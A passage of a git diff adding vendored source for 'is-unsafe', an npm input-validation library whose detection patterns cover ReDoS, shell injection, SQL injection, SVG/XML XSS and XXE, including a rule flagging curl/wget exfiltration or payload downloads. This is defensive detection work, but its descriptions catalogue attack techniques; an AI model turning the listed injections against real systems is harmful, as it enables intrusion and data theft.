* Use this context when user-supplied strings will be compiled into RegExp objects.
*/
const REDOS_PATTERNS = [
{
id: 'redos-nested-quantifier-plus',
description: 'Nested + quantifier inside a group with outer quantifier: (a+)+, (.+b)*, etc.',
// Matches any group containing a + quantifier, with an outer * or + — catches (a+)+, (.+b)*, etc.
pattern: /\([^)]*\+[^)]*\)[+*]/,
},
{
id: 'redos-nested-quantifier-star',
description: 'Nested * quantifier: (a*)* or (a*)+ — catastrophic backtracking',
pattern: /\([^)]*\*[^)]*\)[*+]/,
},
{
id: 'redos-nested-groups',
description: 'Doubly nested quantified groups: ((a+)+) — guaranteed catastrophic',
pattern: /\(\([^)]{0,40}\)[+*]\)[+*]/,
},
{
id: 'redos-alternation-overlap',
description: 'Overlapping alternation under quantifier: (a|a)+ — ambiguous NFA paths',
// Detect repeated identical alternatives under a quantifier
pattern: /\(([^|()]{1,20})\|(?:\1)(?:\|[^|()]{1,20}){0,5}\)[+*?]{1,2}/,
},
{
id: 'redos-star-plus-concat',
description: '(x*x)+ pattern — triggers super-linear backtracking',
pattern: /\([^)]{0,10}\*[^)]{0,10}\)[+*]/,
},
{
id: 'redos-dot-star-greedy',
description: '(.*){n,} or (.+){n,} — repeated greedy dot quantifiers',
pattern: /\(\.[*+]\)\{?\d/,
},
{
id: 'redos-large-repetition',
description: 'Very large fixed or range repetition count {1000,} or {1000,n} — denial of service via backtracking',
// Matches { followed by 4+ digits (≥1000), then optional ,digits }
pattern: /\{\d{4,}(?:,\d*)?\}/,
},
{
id: 'redos-catastrophic-alternation',
description: 'Long alternation with many similar branches — polynomial backtracking risk',
// Heuristic: 10+ pipe-separated alternatives in a single group
pattern: /\([^)]{0,200}(?:\|[^|)]{0,50}){9,}\)/,
},
];
export default REDOS_PATTERNS;

105
node_modules/is-unsafe/src/contexts/shell.js generated vendored Normal file
View File

@@ -0,0 +1,105 @@
/**
* SHELL context patterns.
*
* Detects shell injection vectors and path traversal patterns.
* Designed for use when a string will be passed to a shell command,
* used as a file path, or interpolated into OS-level operations.
*/
const SHELL_PATTERNS = [
{
id: 'shell-path-traversal-unix',
description: 'Unix path traversal: ../ — climbing the directory tree',
pattern: /\.\.\//,
},
{
id: 'shell-path-traversal-windows',
description: 'Windows path traversal: ..\\ — climbing the directory tree',
pattern: /\.\.\\/,
},
{
id: 'shell-path-traversal-encoded',
description: 'URL-encoded path traversal: %2e%2e or %2f variants',
pattern: /%2e%2e|%2f\.\.|\.\.%2f/i,
},
{
id: 'shell-null-byte',
description: 'Null byte injection: \\x00 or %00 — truncates strings in C-backed functions',
pattern: /\x00|%00/,
},
{
id: 'shell-semicolon',
description: 'Semicolon command separator: cmd1; cmd2',
pattern: /;/,
},
{
id: 'shell-pipe',
description: 'Pipe operator: cmd1 | cmd2',
pattern: /\|/,
},
{
id: 'shell-and-operator',
description: 'AND operator: cmd1 && cmd2',
pattern: /&&/,
},
{
id: 'shell-or-operator',
description: 'OR operator: cmd1 || cmd2',
pattern: /\|\|/,
},
{
id: 'shell-backtick',
description: 'Backtick command substitution: `cmd`',
pattern: /`/,
},
{
id: 'shell-dollar-paren',
description: 'Dollar-paren command substitution: $(cmd)',
pattern: /\$\(/,
},
{
id: 'shell-dollar-brace',
description: 'Dollar-brace variable expansion: ${var} — can be abused for injection',
pattern: /\$\{/,
},
{
id: 'shell-redirect-out',
description: 'Output redirection: cmd > file or cmd >> file',
pattern: />{1,2}/,
},
{
id: 'shell-redirect-in',
description: 'Input redirection: cmd < file',
pattern: /</,
},
{
id: 'shell-newline-injection',
description: 'Newline injection: \\n or \\r — can inject new shell commands',
pattern: /[\n\r]/,
},
{
id: 'shell-glob-star',
description: 'Glob expansion: * or ? — can expand to unintended files',
// Only flag when combined with path separators to reduce false positives
pattern: /[/\\][*?]/,
},
{
id: 'shell-absolute-root',
description: 'Absolute root path injection: string starting with / or \\ (Windows UNC)',
pattern: /^(?:\/|\\\\)/,
},
{
id: 'shell-windows-drive',
description: 'Windows drive letter path injection: C:\\ or D:/',
pattern: /^[a-zA-Z]:[/\\]/,
},
{
id: 'shell-curl-wget',
description: 'curl/wget with URL or flags — can exfiltrate data or download payloads',
// Require a URL scheme (http/https/ftp) or a flag (-) to reduce false positives
// "curl is a tool" won't match; "curl http://..." or "curl -s ..." will
pattern: /\b(?:curl|wget)\s+(?:https?:\/\/|ftp:\/\/|-)/i,
},
];
export default SHELL_PATTERNS;

47
node_modules/is-unsafe/src/contexts/sql-strict.js generated vendored Normal file
View File

@@ -0,0 +1,47 @@
/**
* SQL-STRICT context patterns.
*
* Extends the base 'SQL' context with three additional rules that are
* effective at detecting real injections but carry a higher false-positive
* risk on general free-text input.
*
* Use 'SQL-STRICT' when:
* - The string is specifically a SQL fragment or database identifier
* - You control the input domain (e.g. a dedicated SQL search field)
* - You can tolerate occasional false positives in exchange for broader coverage
*
* Use 'SQL' (not STRICT) when:
* - The field is general user text (names, descriptions, comments)
* - False positives would block legitimate content (e.g. "see note -- above")
*
* Rules moved here from 'SQL' due to false-positive risk:
*
* sql-line-comment — "--" fires on "see note -- above", "value--", CSS var(--primary)
* sql-stacked-query — "; SELECT" fires on legitimate prose with semicolons + SQL words
* sql-hex-encoding — "0xDEAD" fires on hex values in technical docs and log output
*/
import SQL_PATTERNS from './sql.js';
const SQL_STRICT_EXTRA = [
{
id: 'sql-line-comment',
description: 'SQL line comment: -- followed by whitespace or end of string',
pattern: /--(?:\s|$)/,
},
{
id: 'sql-stacked-query',
description: 'Stacked queries: semicolon immediately followed by a SQL keyword',
pattern: /;\s{0,10}(?:SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|EXEC)\b/i,
},
{
id: 'sql-hex-encoding',
description: 'Hex-encoded string injection: 0x41414141 style (MySQL)',
pattern: /\b0x[0-9a-f]{4,}/i,
},
];
// SQL-STRICT = all base SQL rules + the three noisy extras
const SQL_STRICT_PATTERNS = [...SQL_PATTERNS, ...SQL_STRICT_EXTRA];
export default SQL_STRICT_PATTERNS;

95
node_modules/is-unsafe/src/contexts/sql.js generated vendored Normal file
View File

@@ -0,0 +1,95 @@
/**
* SQL context patterns — high-precision rules only.
*
* These rules have very low false-positive risk and are safe to apply to
* general user text (names, descriptions, search queries, etc.).
* All patterns are ReDoS-safe — unlike the `sql-injection` npm package
* which has an active CVE on its own detection regexes.
*
* For exhaustive coverage including noisier heuristics (comment sequences,
* hex literals, stacked queries with semicolons), use 'SQL-STRICT' instead.
* Apply 'SQL-STRICT' only to strings that are specifically SQL fragments,
* not to general free-text fields.
*/
const SQL_PATTERNS = [
{
id: 'sql-block-comment-open',
description: 'SQL block comment open: /* ... */ — unusual in legitimate user text',
pattern: /\/\*/,
},
{
id: 'sql-union-select',
description: 'UNION SELECT — most common SQL injection aggregation attack',
pattern: /\bUNION\s{1,20}(?:ALL\s{1,20})?SELECT\b/i,
},
{
id: 'sql-drop-table',
description: 'DROP TABLE — destructive DDL injection',
pattern: /\bDROP\s{1,20}TABLE\b/i,
},
{
id: 'sql-drop-database',
description: 'DROP DATABASE — destructive DDL injection',
pattern: /\bDROP\s{1,20}DATABASE\b/i,
},
{
id: 'sql-insert-into',
description: 'INSERT INTO — data injection',
pattern: /\bINSERT\s{1,20}INTO\b/i,
},
{
id: 'sql-delete-from',
description: 'DELETE FROM — data deletion injection',
pattern: /\bDELETE\s{1,20}FROM\b/i,
},
{
id: 'sql-update-set',
description: 'UPDATE ... SET — data modification injection',
// Allows arbitrary content between UPDATE and SET (table name, alias, etc.)
pattern: /\bUPDATE\b[\s\S]{1,60}\bSET\b/i,
},
{
id: 'sql-exec-xp',
description: 'EXEC xp_ — MSSQL extended stored procedure execution',
pattern: /\bEXEC(?:UTE)?\s{1,20}xp_/i,
},
{
id: 'sql-tautology-string',
description: "Classic string tautology: ' OR '1'='1 or \" OR \"1\"=\"1\"",
// Last quote is optional — injection may truncate it: ' OR '1'='1--
pattern: /'\s{0,10}OR\s{0,10}'[^']{0,20}'\s*=\s*'[^']{0,20}/i,
},
{
id: 'sql-tautology-numeric',
description: 'Numeric tautology: OR 1=1',
pattern: /\bOR\s{1,10}1\s*=\s*1\b/i,
},
{
id: 'sql-always-true-zero',
description: 'Numeric tautology: OR 0=0',
pattern: /\bOR\s{1,10}0\s*=\s*0\b/i,
},
{
id: 'sql-sleep-benchmark',
description: 'Time-based blind injection: SLEEP() or BENCHMARK()',
pattern: /\b(?:SLEEP|BENCHMARK)\s*\(/i,
},
{
id: 'sql-waitfor-delay',
description: 'MSSQL time-based blind injection: WAITFOR DELAY',
pattern: /\bWAITFOR\s{1,20}DELAY\b/i,
},
{
id: 'sql-char-function',
description: 'CHAR() function — used to obfuscate injected strings',
pattern: /\bCHAR\s*\(\s*\d{1,3}/i,
},
{
id: 'sql-information-schema',
description: 'INFORMATION_SCHEMA — reconnaissance query for table/column enumeration',
pattern: /\bINFORMATION_SCHEMA\b/i,
},
];
export default SQL_PATTERNS;

81
node_modules/is-unsafe/src/contexts/svg.js generated vendored Normal file
View File

@@ -0,0 +1,81 @@
/**
* SVG context patterns.
*
* SVG is XML-based but renders in browsers, giving it a unique attack surface
* that combines XML parser behaviour with browser rendering and JavaScript execution.
*
* Many of these vectors bypass HTML sanitizers that don't understand SVG semantics
* (DOMPurify has documented bypass vulnerabilities specifically in SVG/XML context).
*/
const SVG_PATTERNS = [
{
id: 'svg-script-element',
description: '<script element inside SVG executes JavaScript',
pattern: /<script[\s>/]/i,
},
{
id: 'svg-xlink-href-javascript',
description: 'xlink:href with javascript: — classic SVG XSS via <a> or <use>',
pattern: /xlink\s*:\s*href\s*=\s*["']?\s*javascript\s*:/i,
},
{
id: 'svg-href-javascript',
description: 'href= with javascript: in SVG context (<a>, <animate>, etc.)',
pattern: /href\s*=\s*["']?\s*javascript\s*:/i,
},
{
id: 'svg-foreignobject',
description: '<foreignObject embeds HTML inside SVG — can execute scripts',
pattern: /<foreignObject[\s>/]/i,
},
{
id: 'svg-use-external',
description: '<use xlink:href or href pointing to external resource (non-fragment URL)',
// Match <use with href= where the value starts with a non-# character (external URL)
// [\"'][^#] catches quoted values not starting with #; [^\"'#\s>] catches unquoted
pattern: /<use[\s\S]{0,60}(?:xlink\s*:\s*)?href\s*=\s*(?:["'][^#]|[^"'#\s>])/i,
},
{
id: 'svg-animate-href',
description: '<animate attributeName="href" — can dynamically change href to javascript:',
pattern: /<animate[\s\S]{0,80}attributeName\s*=\s*["'][\s]*href["']/i,
},
{
id: 'svg-animate-xlinkhref',
description: '<animate attributeName="xlink:href"',
pattern: /<animate[\s\S]{0,80}attributeName\s*=\s*["'][\s]*xlink\s*:\s*href["']/i,
},
{
id: 'svg-set-javascript',
description: '<set to="javascript:..." — sets an attribute to a javascript: URI',
pattern: /<set[\s\S]{0,80}to\s*=\s*["']?\s*javascript\s*:/i,
},
{
id: 'svg-event-handler',
description: 'SVG-specific event handler attributes: onload=, onerror=, onactivate=, etc.',
pattern: /\bon(?:load|error|activate|begin|end|repeat|focus|blur|click|mouse\w{1,20}|key\w{1,20})\s*=/i,
},
{
id: 'svg-handler-generic',
description: 'Generic on* handler catch-all for SVG attributes',
pattern: /\bon\w{1,30}\s*=/i,
},
{
id: 'svg-filter-feimage',
description: '<feImage href= — filter primitive that can load external resources',
pattern: /<feImage[\s\S]{0,80}(?:xlink\s*:\s*)?href\s*=/i,
},
{
id: 'svg-image-external',
description: '<image xlink:href with http/https or javascript protocol',
pattern: /<image[\s\S]{0,80}(?:xlink\s*:\s*)?href\s*=\s*["']?\s*(?:https?|javascript)\s*:/i,
},
{
id: 'svg-style-javascript',
description: 'style= attribute containing javascript: (e.g. background:url(javascript:...))',
pattern: /style\s*=[\s\S]{0,60}javascript\s*:/i,
},
];
export default SVG_PATTERNS;

78
node_modules/is-unsafe/src/contexts/xml.js generated vendored Normal file
View File

@@ -0,0 +1,78 @@
/**
* XML context patterns.
*
* Detects injection vectors that are specifically dangerous when a string
* is inserted into an XML document (not HTML rendering context).
*
* Key distinction from HTML: these patterns target parser-level attacks —
* things that can confuse or subvert an XML parser, trigger external entity
* resolution, or inject DTD content. HTML rendering concerns (XSS) belong
* in the HTML context.
*/
const XML_PATTERNS = [
{
id: 'xml-cdata-injection',
description: 'CDATA section injection: <![CDATA[ breaks out of text node context',
pattern: /<!\[CDATA\[/i,
},
{
id: 'xml-cdata-close',
description: 'CDATA close sequence: ]]> can terminate an enclosing CDATA section',
pattern: /\]\]>/,
},
{
id: 'xml-processing-instruction',
description: 'XML processing instruction: <?xml-stylesheet or <?php etc.',
pattern: /<\?(?:xml[\- ]|php|asp)/i,
},
{
id: 'xml-doctype-injection',
description: 'DOCTYPE declaration embedded in content — can define entities',
// Match <!DOCTYPE followed by end-of-string, whitespace, or [ (internal subset)
pattern: /<!DOCTYPE(?:[\s[]|$)/i,
},
{
id: 'xml-entity-system',
description: 'SYSTEM keyword — used in external entity declarations (XXE)',
pattern: /\bSYSTEM\s+["']/i,
},
{
id: 'xml-entity-public',
description: 'PUBLIC keyword — used in external entity declarations (XXE)',
pattern: /\bPUBLIC\s+["']/i,
},
{
id: 'xml-entity-declaration',
description: '<!ENTITY declaration — defines entities, potential XXE or entity expansion',
pattern: /<!ENTITY[\s%]/i,
},
{
id: 'xml-billion-laughs',
description: 'Entity reference chaining / billion laughs: repeated &eX; style references',
// Heuristic: 3+ consecutive entity refs suggests expansion attack
pattern: /(?:&\w{1,20};){3,}/,
},
{
id: 'xml-namespace-confusion',
description: 'xmlns: attribute injection — can redefine namespaces to confuse parsers',
pattern: /\bxmlns\s*(?::\w{1,40})?\s*=/i,
},
{
id: 'xml-comment-injection',
description: '<!-- comment injection — can hide content from some parsers',
pattern: /<!--/,
},
{
id: 'xml-comment-close',
description: '--> closes an enclosing XML comment',
pattern: /-->/,
},
{
id: 'xml-pi-close',
description: '?> closes an enclosing processing instruction',
pattern: /\?>/,
},
];
export default XML_PATTERNS;

27
node_modules/is-unsafe/src/index.cjs generated vendored Normal file
View File

@@ -0,0 +1,27 @@
// CommonJS shim — generated from src/index.js
// For bundlers and Node.js environments that require CJS interop.
// This file re-exports via dynamic import to bridge ESM → CJS.
let _mod;
async function _load() {
if (!_mod) _mod = await import('./index.js');
return _mod;
}
// Synchronous-style exports via module.exports proxy
// (Works for environments that await the module, e.g. Jest with transformIgnorePatterns)
module.exports = new Proxy(
{},
{
get(_, key) {
throw new Error(
`is-unsafe: CommonJS require() is not fully supported. ` +
`Use dynamic import(): const { isUnsafe } = await import('is-unsafe'). ` +
`Or set "type": "module" in your package.json.`
);
},
}
);
// Export the loader for async CJS callers
module.exports.load = _load;

28
node_modules/is-unsafe/src/index.d.ts generated vendored Normal file
View File

@@ -0,0 +1,28 @@
export type ContextName =
| 'HTML'
| 'XML'
| 'SVG'
| 'SQL'
| 'SQL-STRICT'
| 'SHELL'
| 'REDOS'
| 'NOSQL'
| 'LOG';
export interface MatchResult {
context: string;
id: string;
description: string;
pattern: RegExp;
}
export type ContextArg = ContextName | ContextName[] | RegExp;
export const VALID_CONTEXTS: { readonly [K in ContextName]: K };
export function isUnsafe(value: string, context: ContextArg): boolean;
export function whyUnsafe(value: string, context: ContextArg): MatchResult | null;
export function allUnsafe(value: string, context: ContextArg): MatchResult[];
declare const isUnsafeDefault: typeof isUnsafe;
export default isUnsafeDefault;

204
node_modules/is-unsafe/src/index.js generated vendored Normal file
View File

@@ -0,0 +1,204 @@
/**
* is-unsafe
*
* Zero-dependency, DOM-free, pure predicate for detecting unsafe strings
* across HTML, XML, SVG, SQL, SQL-STRICT, SHELL, REDOS, NOSQL, and LOG contexts.
*
* @module is-unsafe
*/
import CONTEXT_REGISTRY, { VALID_CONTEXTS } from './registry.js';
/**
* @typedef {'HTML'|'XML'|'SVG'|'SQL'|'SQL-STRICT'|'SHELL'|'REDOS'|'NOSQL'|'LOG'} ContextName
*/
/**
* @typedef {Object} MatchResult
* @property {string} context - The context in which the match was found
* @property {string} id - Rule identifier
* @property {string} description - Human-readable description of what was matched
* @property {RegExp} pattern - The pattern that matched
*/
// ─── Validation helpers ────────────────────────────────────────────────────
/**
* Validate that `value` is a string. Throws TypeError if not.
* @param {unknown} value
*/
function assertString(value) {
if (typeof value !== 'string') {
throw new TypeError(
`is-unsafe: first argument must be a string, got ${typeof value}`
);
}
}
/**
* Validate that `context` is a recognised context name, an array of them,
* or a RegExp instance. Throws TypeError if not.
* @param {ContextName|ContextName[]|RegExp} context
*/
function assertContext(context) {
if (context instanceof RegExp) return;
if (typeof context === 'string') {
if (!CONTEXT_REGISTRY[context]) {
throw new TypeError(
`is-unsafe: unknown context "${context}". Valid contexts: ${Object.keys(VALID_CONTEXTS).join(', ')}`
);
}
return;
}
if (Array.isArray(context)) {
if (context.length === 0) {
throw new TypeError('is-unsafe: context array must not be empty');
}
for (const c of context) {
if (typeof c !== 'string' || !CONTEXT_REGISTRY[c]) {
throw new TypeError(
`is-unsafe: unknown context "${c}" in array. Valid contexts: ${Object.keys(VALID_CONTEXTS).join(', ')}`
);
}
}
return;
}
throw new TypeError(
`is-unsafe: second argument must be a context string, array of context strings, or RegExp. Got: ${typeof context}`
);
}
// ─── Core matching logic ───────────────────────────────────────────────────
/**
* Test a single value against one named context's patterns.
* Returns the first matching MatchResult, or null if nothing matched.
*
* @param {string} value
* @param {string} contextName
* @returns {MatchResult|null}
*/
function matchContext(value, contextName) {
const patterns = CONTEXT_REGISTRY[contextName];
for (const rule of patterns) {
if (rule.pattern.test(value)) {
return { context: contextName, id: rule.id, description: rule.description, pattern: rule.pattern };
}
}
return null;
}
// ─── Public API ───────────────────────────────────────────────────────────
/**
* Returns `true` if `value` is unsafe in the given context(s), `false` otherwise.
*
* @param {string} value - The string to test
* @param {ContextName|ContextName[]|RegExp} context
* - A named context ('HTML', 'XML', 'SVG', 'SQL', 'SQL-STRICT', 'SHELL', 'REDOS', 'NOSQL', 'LOG')
* - An array of named contexts — returns true if unsafe in **any** of them
* - A custom RegExp — returns true if the pattern matches
* @returns {boolean}
*
* @example
* isUnsafe('<script>alert(1)</script>', 'HTML') // true
* isUnsafe('hello world', 'HTML') // false
* isUnsafe('value', ['HTML', 'SQL']) // false
* isUnsafe('value', /my-pattern/i) // false
*/
function isUnsafe(value, context) {
assertString(value);
assertContext(context);
// Custom RegExp — caller-supplied pattern
if (context instanceof RegExp) {
return context.test(value);
}
// Single named context
if (typeof context === 'string') {
return matchContext(value, context) !== null;
}
// Array of named contexts — unsafe if ANY context matches
for (const c of context) {
if (matchContext(value, c) !== null) return true;
}
return false;
}
/**
* Like `isUnsafe`, but instead of a boolean returns the first `MatchResult`
* describing **why** the value was flagged, or `null` if it is safe.
*
* Useful for logging, error messages, or policy reporting.
*
* @param {string} value
* @param {ContextName|ContextName[]|RegExp} context
* @returns {MatchResult|null}
*
* @example
* whyUnsafe('<script>alert(1)</script>', 'HTML')
* // { context: 'HTML', id: 'html-script-open', description: '...', pattern: /.../ }
*/
function whyUnsafe(value, context) {
assertString(value);
assertContext(context);
if (context instanceof RegExp) {
return context.test(value)
? { context: 'CUSTOM', id: 'custom-regex', description: 'Matched caller-supplied pattern', pattern: context }
: null;
}
if (typeof context === 'string') {
return matchContext(value, context);
}
for (const c of context) {
const result = matchContext(value, c);
if (result !== null) return result;
}
return null;
}
/**
* Returns all matching rules across the given context(s), or an empty array
* if the value is safe. Useful for comprehensive auditing.
*
* @param {string} value
* @param {ContextName|ContextName[]|RegExp} context
* @returns {MatchResult[]}
*/
function allUnsafe(value, context) {
assertString(value);
assertContext(context);
const results = [];
if (context instanceof RegExp) {
if (context.test(value)) {
results.push({ context: 'CUSTOM', id: 'custom-regex', description: 'Matched caller-supplied pattern', pattern: context });
}
return results;
}
const contexts = typeof context === 'string' ? [context] : context;
for (const c of contexts) {
const patterns = CONTEXT_REGISTRY[c];
for (const rule of patterns) {
if (rule.pattern.test(value)) {
results.push({ context: c, id: rule.id, description: rule.description, pattern: rule.pattern });
}
}
}
return results;
}
export { isUnsafe, whyUnsafe, allUnsafe, VALID_CONTEXTS };
export default isUnsafe;

45
node_modules/is-unsafe/src/registry.js generated vendored Normal file
View File

@@ -0,0 +1,45 @@
/**
* Context registry — maps context name strings to their pattern arrays.
*
* Adding a new context: create a file in ./contexts/, export a default array
* of pattern objects, and register it here.
*
* Context name guide:
* SQL — high-precision rules; safe for general text fields
* SQL-STRICT — SQL + three noisier rules (line comments, stacked queries, hex);
* use only for SQL-specific inputs
* REDOS — detects ReDoS-prone patterns when string will be compiled as RegExp
*/
import HTML_PATTERNS from './contexts/html.js';
import XML_PATTERNS from './contexts/xml.js';
import SVG_PATTERNS from './contexts/svg.js';
import SQL_PATTERNS from './contexts/sql.js';
import SQL_STRICT_PATTERNS from './contexts/sql-strict.js';
import SHELL_PATTERNS from './contexts/shell.js';
import REDOS_PATTERNS from './contexts/redos.js';
import NOSQL_PATTERNS from './contexts/nosql.js';
import LOG_PATTERNS from './contexts/log.js';
/** @type {Record<string, Array<{id: string, description: string, pattern: RegExp}>>} */
const CONTEXT_REGISTRY = {
HTML: HTML_PATTERNS,
XML: XML_PATTERNS,
SVG: SVG_PATTERNS,
SQL: SQL_PATTERNS,
'SQL-STRICT': SQL_STRICT_PATTERNS,
SHELL: SHELL_PATTERNS,
REDOS: REDOS_PATTERNS,
NOSQL: NOSQL_PATTERNS,
LOG: LOG_PATTERNS,
};
export default CONTEXT_REGISTRY;
/**
* Enum of valid context names — e.g. `VALID_CONTEXTS.HTML === 'HTML'`.
* @type {Record<string, string>}
*/
export const VALID_CONTEXTS = Object.freeze(
Object.fromEntries(Object.keys(CONTEXT_REGISTRY).map((k) => [k, k]))
);